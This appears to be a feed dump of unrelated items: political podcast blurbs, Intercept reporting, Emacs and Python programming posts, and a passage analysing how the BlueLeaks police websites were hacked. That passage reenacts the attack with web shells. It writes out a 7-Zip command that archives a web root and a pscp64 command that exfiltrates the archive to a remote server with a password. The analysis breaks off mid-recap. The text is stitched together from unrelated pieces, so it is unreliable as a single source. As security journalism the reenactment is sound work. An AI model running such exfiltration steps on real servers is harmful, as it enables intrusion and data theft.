Author and former cabinet minister Andrew Adonis discusses his new biography of Ernest Bevin, exploring how the Labour politician played a crucial role in both World War Two and the early years of the Cold War. Historyextra.com/podcast

See acast.com/privacy for privacy and opt-out information.

Update:

$600M to Settle Flint Water Crisis Litigation

—-

Julian Assange Update August 2020

President Obama prosecuted and imprisoned more whistleblowers than any other president. But President Trump did one thing that Obama did not do. He indicted Julian Assange for conspiracy under the Espionage Act charging that in 2010 Assange and his publishing organization WikiLeaks released truthful information about American war crimes.

Obama held off making such a charge because the US government has never before gone after a publisher; not even the New York Times for publishing the Pentagon papers.

Assange sits in solitary confinement in the notorious Belmarsh prison in London. He awaits the outcome of the USA’s extradition request.

His partner, Stella Moris, the mother of their two young children said: “Julian is being targeted by the United States for the crime of journalism. He helped expose the war crimes and human rights abuses which the US would have preferred to keep hidden from public view. He revealed the killing of unarmed civilians and the torture of innocent people. No one has been held responsible for the serious crimes Julian has exposed. This extradition aims to entomb and silence him forever.”

He is in bad shape mentally and physically. Nels Melzer, The United Nations Special Rapporteur on Torture visited Julian and reported that he was being tortured by the months on end of solitary confinement. He hasn’t seen his lawyer in five months nor his companion and their two children. He can’t prepare his defense. He was finally given a computer but the keys were glued down. When he last appear in court he could barely pronounce his name. Defend.wikileaks.org

What is at stake is the future of free journalism. Journalists have a right to publish and we, their audience, have a right to learn. This is what the US government is attempting to take away.

Guest – Nathan Fuller, the American head of the London-based Courage Foundation and the director of the newly formed Committee to Defend Julian Assange and Civil Liberties.

—-

Open Letter To The Anti-Defamation League

The Anti-Defamation League pretends to be a civil rights organization, but the ADL is not an ally. It has a legacy of supporting racist policing, surveillance, colonialism and the silencing of social justice activism. It has branded itself as a civil rights organization in ways that conceal and legitimatize is right wing activities, undermined the rights of Black, immigrant, queer, Muslim, and Arabs.

In August 2020, 100 organizations signed an open letter exposing the ADL. Among the signatory organizations whose work Law And Disorder has covered on this radio program include the Center for Constitutional Rights, the National Lawyers Guild and Palestine Legal.

These 100 organizations signed an open letter announcing the publication of a pamphlet written by a working group with contributions from the American Friends Service Committee, Jewish Voice for Peace, and Palestine Legal.

Guest – Lesley Williams, member of the coordinating committee for Jewish Voice for Peace in Chicago, the advisory board of speakers bureau for Jews Against Anti-Muslim Racism, and a founding member of the Tzedek Chicago, a non-Zionist pro social justice synagogue in Chicago. She is the author of “The Anti-Defamation League Kills the Black Jewish Alliance” and “We Can’t Fight Anti-Semitism and anti-Black Racism in Isolaton“. She works with a local coalition of teachers and activists to bring Palestinian history into school curricula.

—————————————-

—————————————-

Polaris64 has a very interesting post about using org-mode to track his expercising. That doesn’t sound particularly interesting, I know, but read on to find out why I find it worth mentioning. If I wanted to track my exercising, the first thing I’d think of is to enter it into an Org-mode table. For historical or other reasons, Polaris64 keeps his exercise data as part of a more general daily journal.

The top-level heading is the date and under each date there are several second level headings, one of which is “Exercise.” Under Exercise there are third level headings that specify the type of exercise and its “value,” its duration or number of reps, for example. A typical entry looks like

*** Crunches 100

Now comes the interesting part: Polaris64 wanted to summarize the exercising entries into a table. Stop and think for a second how you’d do that. If you’re not intimately familiar with Org programming you’re probably envisioning something involving heavy use of regular expressions and loops. I’m not invoking Jamie Zawinski here; that seems like a reasonable solution but Org offers a better one.

Org has several built-in functions dedicated to parsing Org data and extracting information from it. Polaris64’s post details how to use these to build an efficient solution to his problem. That’s the reason his post is interesting. It offers an excellent go-by for dealing with Org data. If you need Org functionality beyond that provided by the UI, this information is really useful.

Suzi talks to Lizaveta Merliak, International Secretary of the Belarussian Independent Trade Union BNP, about the massive protest movement in the streets in Belarus since August 9, when the blatantly fraudulent election results were announced. President Lukashenko claimed he won 80% of the votes in a deteriorating economic situation and escalating pandemic -- which the government ignored, while spending lavishly on WWII parades. Hundreds of thousands have taken to the streets, workers have downed their tools to go on strike and join the protest movement – while President Lukashenko has dug in, doubling down on repression and shocking the world with the regime’s brutality.

Sarah Mason, a former Lyft driver and DoorDasher, now a grad student studying platform mediated labor, talks to Suzi about the California Supreme Court decision and Assembly Bill 5, which have determined that Uber, Lyft, Instacart, Doordash and Postmates are not tech apps, but driving companies, and their workers are employees, not independent contractors. The Court has issued an injunction against the companies, and they in turn have threatened to halt services in California until November when voters will vote on their sponsored Proposition 22, which would give them a carveout, an exemption to the law to deny their drivers rights and protections like minimum wage, sick leave and safety protections.

Jupyter is great. Yet, I find myself missing all the little tweaks I made to Emacs whenever I have Jupyter open in a browser. The obvious solution is to have Jupyter in Emacs. One solution is EIN, the Emacs IPython Notebook. However, I had a mixed experience with it: it would often hang and eat up memory (I never bothered to try to debug this behaviour). A neat alternative, for me, is emacs-jupyter. Here’s my setup.

# Install our public GPG key to trusted store
curl https://repo.anaconda.com/pkgs/misc/gpgkeys/anaconda.asc | gpg --dearmor > conda.gpg
install -o root -g root -m 644 conda.gpg \
        /usr/share/keyrings/conda-archive-keyring.gpg

# Check whether fingerprint is correct (will output an error message otherwise)
gpg --keyring /usr/share/keyrings/conda-archive-keyring.gpg \
    --no-default-keyring --fingerprint 34161F5BF5EB1D4BFBBB8F0A8AEB4F8B29D82806

# Add our Debian repo
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/conda-archive-keyring.gpg] https://repo.anaconda.com/pkgs/misc/debrepo/conda stable main" \
     > /etc/apt/sources.list.d/conda.list
apt update
apt install conda

git clone https://github.com/esc/conda-zsh-completion \
    ${ZSH_CUSTOM:=~/.oh-my-zsh/custom}/plugins/conda-zsh-completion

conda create -n g6k python=3.7 fpylll
conda activate g6k
git clone https://github.com/fplll/g6k
cd g6k
conda install --file requirements.txt
./rebuild.sh
python setup.py install
conda install jupyter # optional

python -m ipykernel install --user --name=$CONDA_DEFAULT_ENV

{
    "argv": [
        "/HOME-DIR/.conda/envs/g6k/bin/python",
        "-m", "ipykernel_launcher",
        "-f", "{connection_file}"
    ],
    "display_name": "g6k",
    "language": "python"
}                    

jupyter kernelspec install --user $SAGE_ROOT/local/share/jupyter/kernels/sagemath

{
    "argv":
    [
-        "YOUR-SAGE-ROOT/local/bin/sage",
+        "YOUR-SAGE-ROOT/sage",
        "--python", "-m", "sage.repl.ipython_kernel",
        "-f", "{connection_file}"
    ],
    "display_name": "SageMath 9.1", "language": "sage"
} 

(use-package conda
  :config (progn
            (conda-env-initialize-interactive-shells)
            (conda-env-initialize-eshell)
            (conda-env-autoactivate-mode t)
            (setq conda-env-home-directory (expand-file-name "~/.conda/"))
            (custom-set-variables '(conda-anaconda-home "/opt/conda/"))))

(use-package jupyter
  :commands (jupyter-run-server-repl
             jupyter-run-repl
             jupyter-server-list-kernels)
  :init (eval-after-load 'jupyter-org-extensions ; conflicts with my helm config, I use <f2 #>
          '(unbind-key "C-c h" jupyter-org-interaction-mode-map)))

(use-package ob
  :ensure nil
  :config (progn
            ;; load more languages for org-babel
            (org-babel-do-load-languages
             'org-babel-load-languages
             '((python . t)
               (shell . t)
               (latex . t)
               (ditaa . t)
               (C . t)
               (dot . t)
               (plantuml . t)
               (makefile . t)
               (jupyter . t)))          ; must be last

            (setq org-babel-default-header-args:sh    '((:results . "output replace"))
                  org-babel-default-header-args:bash  '((:results . "output replace"))
                  org-babel-default-header-args:shell '((:results . "output replace"))
                  org-babel-default-header-args:jupyter-python '((:async . "yes")
                                                                 (:session . "py")
                                                                 (:kernel . "sagemath")))

            (setq org-confirm-babel-evaluate nil
                  org-plantuml-jar-path "/usr/share/plantuml/plantuml.jar"
                  org-ditaa-jar-path "/usr/share/ditaa/ditaa.jar")

            (add-to-list 'org-src-lang-modes (quote ("plantuml" . plantuml)))))

#+begin_src jupyter-python :kernel sagemath
2^3
#+end_src

#+RESULTS:
: 8

Many Org-mode users are looking for a way to add notes and TODOs when they aren’t at their computers. Most folks use one of the smart phone apps such as beorg or orgzly or perhaps even organice. Kevin Cunningham has another idea.

Cunningham is mostly concerned with adding TODOs to his GTD files wile he’s out and about so he put together a system to add TODOs with an SMS message. He uses Twilio and Dropbox to handle the messaging and communication between Emacs and his phone.

It’s a cute trick and Cunningham gives a detailed account of how he did it if you’d like to set up such a system yourself. His post is worth reading even if you don’t have an immediate need for such a setup. It’s a great example of snapping together existing technologies and adding to little glue code to produce a useful tool.

One of the nation’s highest-ranking intelligence officials died by suicide at his home in the Washington, D.C., area in June, but the U.S. intelligence community has remained publicly silent about the incident even as the CIA has conducted a secret investigation of his death.

Anthony Schinella, 52, the national intelligence officer for military issues, shot himself on June 14 in the front yard of his Arlington home. A Virginia medical examiner’s report lists Schinella’s cause of death as suicide from a gunshot wound to the head. His wife, who had just married him weeks earlier, told The Intercept that she was in her car in the driveway, trying to get away from Schinella when she witnessed his suicide. At the time of his suicide, Schinella was weeks away from retirement.

Soon after his death, an FBI liaison to the CIA entered Schinella’s house and removed his passports, his secure phone, and searched through his belongings, according to his wife, Sara Corcoran, a Washington journalist. A CIA spokesperson declined to comment for this story.

As NIO for military issues, Schinella was the highest-ranking military affairs analyst in the U.S. intelligence community, and was also a member of the powerful National Intelligence Council, which is responsible for producing the intelligence community’s most important analytical reports that go to the president and other top policymakers.

The National Intelligence Council is now under the control of the Director of National Intelligence, and has recently gained greater public prominence as its analytical work has been caught up in political controversies surrounding the Trump administration, including this summer’s public firestorm over intelligence reports about Russian bounties to kill American troops.

On June 26,  the New York Times reported that Russia paid bounties to the Taliban to kill American soldiers in Afghanistan, and President Donald Trump quickly faced criticism for having failed to do anything in response to protect American troops. Within days, the National Intelligence Council produced a memo that claimed that the intelligence about the bounties wasn’t conclusive. While the memo was not made public, it was quickly picked up in the press and seemed designed to placate Trump by raising doubts about the original news story about the Russian bounties. The NIC memo appears to have been generated at the urging of John Ratcliffe, the former Republican Texas congressman and Trump supporter who became director of national intelligence in May.

But at the time that the memo became public through press reports, there was no mention of the fact that the national intelligence officer for military issues — the one member of the NIC who should have had the most input into the analysis concerning military operations in Afghanistan — had killed himself just days earlier. In fact, Schinella was considered an expert on the Taliban and its military capabilities. Though he was an analyst, Schinella had deployed to four different war zones during his career, his wife said.

A graduate of the Massachusetts Institute of Technology with a graduate degree from Harvard’s Kennedy School of Government, Schinella had spent much of his career in the CIA before joining the National Intelligence Council. In 2019, the Brookings Institution, a Washington think tank, published a book by Schinella entitled “Bombs Without Boots,” a study of the limits of the uses of air power in modern war.

Tim Kilbourn, a friend and former colleague of Schinella, described him in an interview as an “American patriot,” and said that his end was a “tragedy,” but declined to comment further. The Arlington County, Virginia, police report on the incident was not immediately available.

Ashley Savage, a spokesperson for the Arlington County Police Department, said the department’s investigation of the Schinella case remains open. She said the Arlington police notified the CIA about Schinella’s death, and that the Arlington police provided assistance to the CIA. “We will defer any questions related to the CIA investigation to their agency,” she added.

After his death, Schinella’s wife discovered a large collection of bondage and S&M gear that had been hidden in his house, along with 24 guns and thousands of rounds of ammunition. His wife said that one of Schinella’s CIA colleagues contacted her recently and said the CIA has completed an investigation into Schinella’s death, but didn’t provide her with any details.

Schinella had two children from a previous marriage.

The post Senior U.S. Intelligence Official Died by Suicide in June appeared first on The Intercept.

Sen. David Perdue has long argued that “strained working-class Americans” face an uneven playing field as they are forced to compete with “a steady supply of cheap, unskilled” immigrant labor.

But the Georgia Republican has sung a different tune in private messages to the Trump administration. The lawmaker contacted the Department of Homeland Security and Labor Department in February, urging officials to increase the flow of visas offered to temporary migrant workers to be employed in low wage, nonagricultural jobs.

“I am writing to request that you exercise authority delegated to you,” wrote Perdue, citing the statute that governs foreign work visas, “to increase the numerical limitation on H-2B visas in order to provide relief to American businesses.”

Despite increasing campaign rhetoric by leading Republicans about the downward impact on wages posed by some forms of immigration, many lawmakers are quietly helping business interests lobby for greater access to a pool of low-wage foreign workers.

The Intercept, through a records request, obtained a number of recent requests by GOP lawmakers to the Trump administration. The legislative letters echo business demands that the government raise the number of available H-2B visas for employers to bring in migrant workers.

North Carolina Republican Sens. Thom Tillis and Richard Burr, along with the GOP House delegation from North Carolina, requested that the administration “expeditiously release all 64,716 H-2B visas. House Republican Conference Chair Rep. Liz Cheney, R-Wyo., wrote “on behalf of business” that her state needed emergency “H-2B cap relief.” Rep. Kenny Marchant, R-Texas, and Rep. Rob Wittman, R-Va., wrote similar letters earlier this year. None of the lawmakers’ offices responded to a request for comment.

The letters came a time of increasing political pressure to bring cheap labor into the country. The Wall Street Journal reported on a broad bipartisan effort in January to increase the number of H-2B visas available for employers. Democratic lawmakers such as Sen. Mark Warner, D-Va., and Sen. Kyrsten Sinema, D-Ariz., signed onto the push.

After these letters were sent and following a coalition lobbying effort by employers in the seafood, landscaping, construction, and food services industries, the Trump administration approved 35,000 additional seasonal work visas in March, bringing the total available this year to 101,000. Business interests also won expedited approval of H-2B visas. The State Department declared that the program is “essential to the economy” and waived in-person interviews for applicants. But the administration soon changed course, freezing the the flow of new visas as the economy deteriorated in the wake of the coronavirus pandemic.

The H-2B program has come under fire from organized labor and migrant worker civil rights organizations for rampant human rights violations. Across numerous workplaces, guest workers have reported sexual violence, imprisonment, physical abuse, starvation, wage theft, and conditions akin to slavery. Though the visa program is required to pay prevailing wages, employers routinely pay wages lower than those offered to Americans working the same jobs.

Not long ago, Perdue openly and sharply criticized migrant worker visas as an exploitative trap that harmed both American wages and foreign migrant workers. In 2017, Perdue cosigned a letter with Sens. Chuck Grassley, R-Iowa; Richard Durbin, D-Ill.; and Richard Blumenthal, D-Conn., decrying rampant abuses in the H-2B program.

The lawmakers noted in the letter that “a large body of evidence suggests that our increasing reliance on the H-2B program cuts wages, pushes American workers out of jobs, and may, in some cases, discourage them from ever applying again. Indiscriminate increases in the number of H-2B workers will only exacerbate these problems.”

The letter noted that some employers “take advantage of H-2B workers’ unique vulnerabilities, which can result in human trafficking and labor abuse.” One labor investigator the Perdue letter cited found that “the way H-2 visas shackle workers to a single employer leaves them almost no leverage to demand better treatment.”

The H-2B program is designed to only be available when businesses cannot find Americans willing to take on jobs. But a growing body of research shows the application process can be gamed and that many employers in fact use H-2B to drag down wages for American workers.

Michael Cunningham, a former official with the Texas State Building and Construction Trades Council, has documented a number of abuses in the H-2B program.

“I have seen the misuse of construction and production occupations that adversely affects wages paid to guest workers,” wrote Cunningham in an email to The Intercept. “This is the way the employers get the cheapest wage possible that really was created to deter American workers from applying for these jobs.”

Cunningham described systemic problems that allow multibillion-dollar businesses to easily game the system for H-2B visas for work that could be offered to Americans. “Also concerning is the lack of enforcement by the Department of Labor,” wrote Cunningham. “They don’t have enough boots on the ground to monitor and enforce each employer to make sure they are in compliance.”

The migrant visa program has only grown in recent years. The Obama administration sharply lowered the number of H-2B visas provided to U.S. employers, below record highs in 2007 and 2008 during the previous administration. But the Trump administration has reversed that trend, increasingly expanding the number of visas over the last four years.

Advocates for business interests in Congress have agitated to raise the statutory cap on H-2B visas, coming close in 2018 to expanding the program from 66,000 to 114,000 visas. The administration has dutifully offered employers waivers to increase the number of H-2B beyond the annual cap.

But the growing economic crisis has forced a shift in the administration’s response. In June, President Donald Trump suspended a range of work visas programs. The decision was touted as a major intervention into the economy to save American jobs at risk during the global coronavirus pandemic. The executive order, in a deference to large employers, however, did not impact H-2B workers already in the country for the 2020 season.

The post GOP Lawmakers Asked Trump for Low-Wage, Migrant Worker Visas appeared first on The Intercept.

Democracy Now! 2020-08-21 Friday

• Headlines for August 21, 2020
• Virtual 2020 DNC Wraps with Calls for Empathy, Unity & a Broad Coalition to Rally Around Joe Biden
• "Light Is More Powerful Than Dark": Biden Vows to Fight COVID, Climate, Racism & Economic Meltdown
• Cornel West & Ben Jealous on the DNC and Whether Progressives Can Push Joe Biden Leftward

Download this show

Democracy Now! 2020-08-25 Tuesday

• Headlines for August 25, 2020
• RNC Opens with Baseless Trump Claims of Rigged Election & Warnings About Socialism and Unions
• Trump Is No Aberration: Veteran GOP Strategist Stuart Stevens Says Racism Is Party's "Original Sin"
• "A Human Tragedy": Wildfires Reveal California's Reliance on Incarcerated Firefighters

Download this show

Former congresswoman Katie Hill joins hosts Katie Halper and Matt Taibbi to talk about her life after resigning last fall. Matt and Katie review the first two days of the DNC, and analyze what's going on with the USPS and its media coverage.

Merch Link: https://teespring.com/stores/useful-idiots

Learn more about your ad choices. Visit podcastchoices.com/adchoices

A few days ago I wrote about doing a pile of work with concurrent.futures. Since then, I discovered a problem with the code: exceptions raised by the work function were silently ignored.

Here’s the improved code that logs exceptions:

def wait_first(futures):
    """
    Wait for the first future to complete.

    Returns:
        (done, not_done): two sets of futures.

    """
    return cf.wait(futures, return_when=cf.FIRST_COMPLETED)

def do_work(threads, argsfn, workfn):
    """
    Do a pile of work, maybe in threads, with a progress bar.

    Two callables are provided: `workfn` is the unit of work to be done,
    many times.  Its arguments are provided by calling `argsfn`, which
    must produce a sequence of tuples.  `argsfn` will be called a few
    times, and must produce the same sequence each time.

    Args:
        threads: the number of threads to use.
        argsfn: a callable that produces tuples, the arguments to `workfn`.
        workfn: a callable that does work.

    """
    total = sum(1 for _ in argsfn())
    with tqdm(total=total, smoothing=0.02) as progressbar:
        if threads:
            limit = 2 * threads
            not_done = set()

            def finish_some():
                nonlocal not_done
                done, not_done = wait_first(not_done)
                for done_future in done:
                    exc = done_future.exception()
                    if exc is not None:
                        log.error("Failed future:", exc_info=exc)
                progressbar.update(len(done))

            with cf.ThreadPoolExecutor(max_workers=threads) as executor:
                for args in argsfn():
                    while len(not_done) >= limit:
                        finish_some()
                    not_done.add(executor.submit(workfn, *args))
                while not_done:
                    finish_some()
        else:
            for args in argsfn():
                workfn(*args)
                progressbar.update(1)


This might also be the first time I’ve used “nonlocal” in real code...

Update: this code swallows exceptions. An improved version is at Do a pile of work better.

I had a large pile of data to feed through an expensive function. The concurrent.futures module in the Python standard library has always worked well for me as a simple way to farm out work across threads or processes.

For example, if my work function is “workfn”, and it takes tuples of arguments as produced by “argsfn()”, this is how you could run them all:

for args in argsfn():
    workfn(*args)


This is how you would run them on a number of threads:

import concurrent.futures as cf

with cf.ThreadPoolExecutor(max_workers=nthreads) as executor:
    for args in argsfn():
        executor.submit(workfn, *args)


But this will generate all of the arguments up-front. If I have millions of work invocations, this could be a problem. I wanted a way to feed the tasks in as they are processed, to keep the queue small. And I wanted a progress bar.

I started from this Stack Overflow answer, added in tqdm for a progress bar, and made this:

import concurrent.futures as cf
from tqdm import tqdm

def wait_first(futures):
    """
    Wait for the first future to complete.

    Returns:
        (done, not_done): two sets of futures.

    """
    return cf.wait(futures, return_when=cf.FIRST_COMPLETED)

def do_work(nthreads, argsfn, workfn):
    """
    Do a pile of work, maybe in threads, with a progress bar.

    Two callables are provided: `workfn` is the unit of work to be done,
    many times.  Its arguments are provided by calling `argsfn`, which
    must produce a sequence of tuples.  `argsfn` will be called a few
    times, and must produce the same sequence each time.

    Args:
        nthreads: the number of threads to use.
        argsfn: a callable that produces tuples, the arguments to `workfn`.
        workfn: a callable that does work.

    """
    total = sum(1 for _ in argsfn())
    with tqdm(total=total, smoothing=0.1) as progressbar:
        if nthreads:
            limit = 2 * nthreads
            not_done = set()
            with cf.ThreadPoolExecutor(max_workers=nthreads) as executor:
                for args in argsfn():
                    if len(not_done) >= limit:
                        done, not_done = wait_first(not_done)
                        progressbar.update(len(done))
                    not_done.add(executor.submit(workfn, *args))
                while not_done:
                    done, not_done = wait_first(not_done)
                    progressbar.update(len(done))
        else:
            for args in argsfn():
                workfn(*args)
                progressbar.update(1)


There might be a better way. I don’t like the duplication of the wait_first call, but this works, and produces the right results.

BTW: my actual work function spawned subprocesses, which is why a thread pool worked to give me parallelism. A pure-Python work function wouldn’t get a speed-up this way, but a ProcessPoolExecutor could help.

Welcome to the first episode of A World to Win with Grace Blakeley! A World to Win is a new podcast from Tribune bringing you a weekly dose of socialist news, theory, and action with guests from around the world.

---

“Who do we remember? Do we remember the Home Secretaries that imprisoned the Chartists? Or do we remember the Chartists for what they stood for, albeit unsuccessful in the immediate time?” –Jeremy Corbyn

Today, Grace is joined by Jeremy Corbyn to discuss to the UK government’s disastrous handling of the coronavirus pandemic, the rise and fall of Corbynism, and the future of socialism within the Labour Party.

For the first time ever, hear Jeremy on the “absurd” discussions he had with the government about its herd immunity strategy and why the furlough scheme was unlikely to have been implemented without significant pressure from key figures in the Opposition.

Thanks to our producer, Conor Gillies, and our graphic designer, Kevin Zweerink, for their hard work on this episode. Remember, you can support the show by signing up as a patron.

Whoever broke into 251 law enforcement websites and obtained the BlueLeaks trove of documents appears to have reused decades-old software for opening “backdoors” in web servers.

The use of the widely available backdoors provides evidence that the hacktivist who compromised the sensitive sites, including fusion centers linked to federal agencies, didn’t need to use sophisticated digital attack methods because the sites were not very secure.

The backdoors appear among files in the roughly 270-gigabyte BlueLeaks dump but seem to originate not from law enforcement entities, like most of the documents, but from the hacker, who appears to have left behind a few tools in the leaked data. Other leaked files provide further clues about how the hacktivist operated.

Two of the files are a type of malware known as “web shells”: malicious files that, when placed on a server, provide an online entry point through which a hacker can download and upload files or issue commands of their choosing. These backdoors appear with BlueLeaks material obtained from the website of the Arizona High Intensity Drug Trafficking Area, which is basically Arizona’s fusion center for the drug war. One is called “ntdaddy.aspx” and the other is “blug.aspx.” Their presence has implications for all the affected sites, which were operated by the same company and appear to have run the same software.

Two other files appear to have aided the exfiltration of documents from the servers. The Arizona HIDTA files included a copy of a program for securely transferring files across the internet, which could have been used to move files onto a computer controlled by the hacker. Files for another site, ICEFISHX, Minnesota’s police fusion center, included a copy of a program for compressing files, which would make it much faster for the hacker to upload hundreds of gigabytes of data to their own computer.

All four of the files appear to be circumstantially linked to the hacker through their digital time stamps, which indicate they were created the evening of Saturday, June 6 —making them among the most recent data released in BlueLeaks. Basically, this time likely corresponds to the moments before the hacktivist exfiltrated the data for this leak.

The files do not provide any information about the identity of the hacker, how the hacker protected their anonymity, what infrastructure they used to exfiltrate data, or what vulnerability they exploited to initially hack these websites. But they do indicate that, instead of developing custom malware, the hacker pulled off-the-shelf software easily available to anyone online and that anti-virus software flags as malicious.

The BlueLeaks Data

The Arizona HIDTA and Minnesota ICEFISHX websites, as well as the rest of the hacked websites included in BlueLeaks, were built and hosted by the Texas web development firm Netsential. They all run the same web application, hosted on Microsoft’s Windows operating system; on Microsoft’s web server, Internet Information Services, or IIS; and on a Microsoft web programming framework, ASP.NET.

The web app’s data is also stored using Microsoft software, in a database system known as Access. For ICEFISHX, data lived in the file “icefishx.mdb” on its server. The database included information about 6,120 registered users, the content of 3,151 bulk emails that the fusion center sent out, as well as metadata about hundreds of documents. Arizona HIDTA’s data was in a file called ”azhidta.mdb” and, among other things, included metadata describing thousands of items like laptops, furniture, and surveillance body wires in the HIDTA’s inventory.

BlueLeaks contains a separate folder for each hacked website. The files for the Arizona HIDTA website include what appears to be the original source code for the website, written in ASP.NET, along with the malicious web shells, “ntdaddy.aspx” and “blug.aspx,” as well as images, JavaScript files, and other files that make up the code of Netsential’s web app. It also includes all of the PDFs and Microsoft Office documents that were uploaded into the web app. While it does not directly include “azhidta.mdb,” the Access database, it does include references to the database, along with 220 spreadsheets, each one representing a table — that is, a collection of related, structured data — exported from the database. (This is true for most of the other hacked websites included in BlueLeaks, though some don’t contain all of the web app’s source code.)

According to historical domain name records, on July 17, almost a month after the hack was made public, Arizona HIDTA migrated their website away from Netsential’s Houston server and into the website hosting service Squarespace. ICEFISHX still uses Netsential’s web application. (Netsential stated on its website that it was not responding to requests for comment from the press. It did not respond to a message from The Intercept.)

SQL Injection

There is no legitimate reason for the “ntdaddy.aspx” and “blug.aspx” web shells to exist among Arizona HIDTA’s files — these were definitely traces left over from a hack — but it’s not clear exactly how they got onto the server to begin with. What was the initial attack vector used to compromise the server? I couldn’t find any direct evidence; there’s no mention of “ntdaddy” in log files, for example. But my best guess is that the hacker added the web shells using a type of web hacking called “SQL injection,” in which an attacker is able to modify the instructions sent to the database powering a website.

The Open Web Application Security Project, a nonprofit dedicated to improving the security of web software, puts injection attacks at the top of its list of security risks for web applications. SQL, short for Structured Query Language, is used by programmers to read and update many types of databases, including the Microsoft Access databases used by all of the hacked websites in the BlueLeaks dump. A SQL injection attack is when a hacker is able to “inject” their own SQL code inside a query, tricking the database into responding with different information or different actions than the website programmer intended. This is typically accomplished by visiting a maliciously devised web address or submitting specially crafted information into a web form and  exploiting a flaw in how the website creates SQL queries to obtain particular information on behalf of particular users. On a badly configured web server, it would be possible (using the Access SQL query SELECT.INTO) for a hacker who has discovered a SQL injection vulnerability to create new files on the server and fill them with whatever information they want, such as code that makes up a web shell.

The best way to write software that isn’t vulnerable to SQL injection is to use a technique called prepared statements. Based on my analysis of the web app’s source code, Netsential’s web app (as it existed in the leaked files) does not use this technique. With prepared statements, the programmer narrowly determines ahead of time which part of a SQL query will change in response to the user and which part will always remain the same. Instead, the Arizona HIDTA’s website source code, as well as the code from the rest of the hacked website in BlueLeaks, builds its SQL queries in an insecure way: only trying to mitigate SQL injection using a poorly implemented and error-prone technique known as “escaping,” which attempts to essentially neutralize malicious user input before using that input to build SQL queries. Another best practice is to use a “safe API” for interfacing with the database. Netsential’s web app doesn’t appear to do this either; every time it needs to interface with the database, the code executes a SQL query directly.

Because of this, it’s likely that Netsential’s web app has SQL injection vulnerabilities. To be clear, I haven’t discovered any myself. But the fact that the web app uses such bad security practices around SQL, and that I counted 1,931 places in the code where a SQL query gets executed, I think that it’s probable that mistakes were made in at least some of these places.

And, unless Netsential has fixed these potential vulnerabilities since the BlueLeaks data was made public and pushed updates to all of the websites still running its code, it’s likely that these law enforcement websites, including major police fusion centers in use today, are still vulnerable to SQL injection.

Web Shells

I wanted to see what these web shells could do, so I set up a Windows virtual machine, installed an IIS web server, and copied both the ntdaddy.aspx and blug.aspx files from the Arizona HIDTA website into it. I also disabled the built-in Windows virus and threat protection; otherwise, Windows blocks both of these web shells from executing.

The “NTDaddy” web shell was first developed at least 18 years ago by a hacker named “obzerve” who worked with the hacker group fux0r inc. It’s widely available, including in this GitHub repository containing a collection of web malware. If you scan the ntdaddy.aspx file on VirusTotal, 36 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.

Screenshot of comment at the top of the ntdaddy.aspx file

Screenshot: Micah Lee

But while testing out this web shell, I hit a problem. NTDaddy was coded in a language called classic ASP, Microsoft’s first server-side scripting language from 1996. Classic ASP files end in “.asp,” like ntdaddy.asp. In 2002, Microsoft released a more modern web application framework called ASP.NET, making classic ASP obsolete. ASP.NET files end in “.aspx,” like ntdaddy.aspx. Even though NTDaddy was coded in classic ASP, its filename on the Arizona HIDTA website used an ASP.NET filename: ntdaddy.aspx.

When I load ntdaddy.aspx in a browser, it responds with an error, which is to be expected because it’s trying to run a classic ASP code as if it were ASP.NET code.

NTDaddy error message when using .aspx file extension

Screenshot: Micah Lee

It’s likely that the Arizona HIDTA’s IIS server wasn’t configured to execute classic ASP code at all, that this web shell simply didn’t work, and that the hacker didn’t bother deleting this file.

If I rename the file to ntdaddy.asp and load it in a browser, I can then explore the files on the server, upload new files, or issue commands:

NTDaddy when using .asp file extension

Screenshot: Micah Lee

The blug.aspx file contained a web shell simply called “ASPX Shell,” developed in 2007 by a hacker called “LT” — only the version on Arizona HIDTA’s website didn’t include the comment at the top of the file that gives LT credit, and lists the 2007 date.

Comment at the top of the original version of ASPX Shell, which isn’t included in the BlueLeaks data.

Screenshot: Micah Lee

Like NTDaddy, ASPX Shell is widely available and can be found in that GitHub repository. If you scan blug.aspx in VirusTotal, 15 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.

ASPX Shell

Screenshot: Micah Lee

But unlike NTDaddy, ASPX Shell works much better because it uses ASP.NET, not classic ASP (the malware itself was written in the C# programming language). It allows you to browse the file system, upload files, and run commands as if you were sitting in front of the Windows server with a command prompt open. Basically, it allows you to do anything that the IIS user on the Windows server has permission to do, including access all of the data related to the website.

However, when I try uploading a file to the folder where website files are stored (in my case, C:\inetpub\wwwdata), I get an unauthorized access error; perhaps my IIS server in Windows 10 Pro is more securely configured than Netsential’s servers. To more accurately replicate the Netsential servers, I reduced the permissions on that folder to allow my IIS user to save new files there.

Compression and Exfiltration

In addition to the web shells, two open-source Windows tools were included with the BlueLeaks files, both with June 6 time stamps:

• ICEFISHX’s folder has a file called 7z.exe, a copy of the popular file compression and extraction program 7-Zip.
• Arizona HIDTA’s folder has a file called pscp64.exe, a program that comes with PuTTY, a popular Windows tool for securely logging into and copying files to remote servers, typically those running the Linux operating system.

Using ASPX Shell, a hacker could run 7-Zip to compress all of the data they wished to exfiltrate, and then use PuTTY to copy it to a remote server controlled by the hacker.

So I decided to try this. In my first attempt at running 7z.exe, it gave me an error message saying that the file 7z.dll was missing. Possibly, the hacker uploaded this DLL file as well, but for whatever reason did not end up including it in the BlueLeaks data. So I downloaded a fresh copy of 7-Zip and grabbed the version of 7z.exe and 7z.dll from there. Then, I ran this command in my web shell:

7z.exe a police_data.7z c:\inetpub

This uses 7-Zip to create a new archive called police_data.7z, and it adds all of the files in the C:\inetpub folder to that archive.

ASPX Shell, compressing files with 7-Zip

Screenshot: Micah Lee

Now that I’ve created police_data.7z, I could just download the archive using my web browser. But instead I decided to try using PuTTY to exfiltrate the data to a remote server, which is what I’m guessing the BlueLeaks hacktivist did.

I created a new cloud server running Debian GNU/Linux with the IP address 159.89.55.248, and on that server I created a new user called “exfiltrator” with the password “89qzR2Y8KbFj”. Then, in ASPX Shell, (after a bit of troubleshooting) I ran this command:

pscp64.exe -batch -hostkey 05:d3:9a:ce:59:e6:28:e4:17:2c:da:69:22:53:04:14 -pw 89qzR2Y8KbFj police_data.7z exfiltrator@159.89.55.248:police_data.7z

This uses PuTTY’s secure copy (SCP) program to copy the police_data.7z file to my Debian server. The command includes the username, password, and IP address of my server. After running this command, a copy of the file was exfiltrated to my server. (I’ve already deleted that cloud server, in case you get any ideas.)

Hacking 251 Websites

To recap, here’s how I believe these websites were hacked:

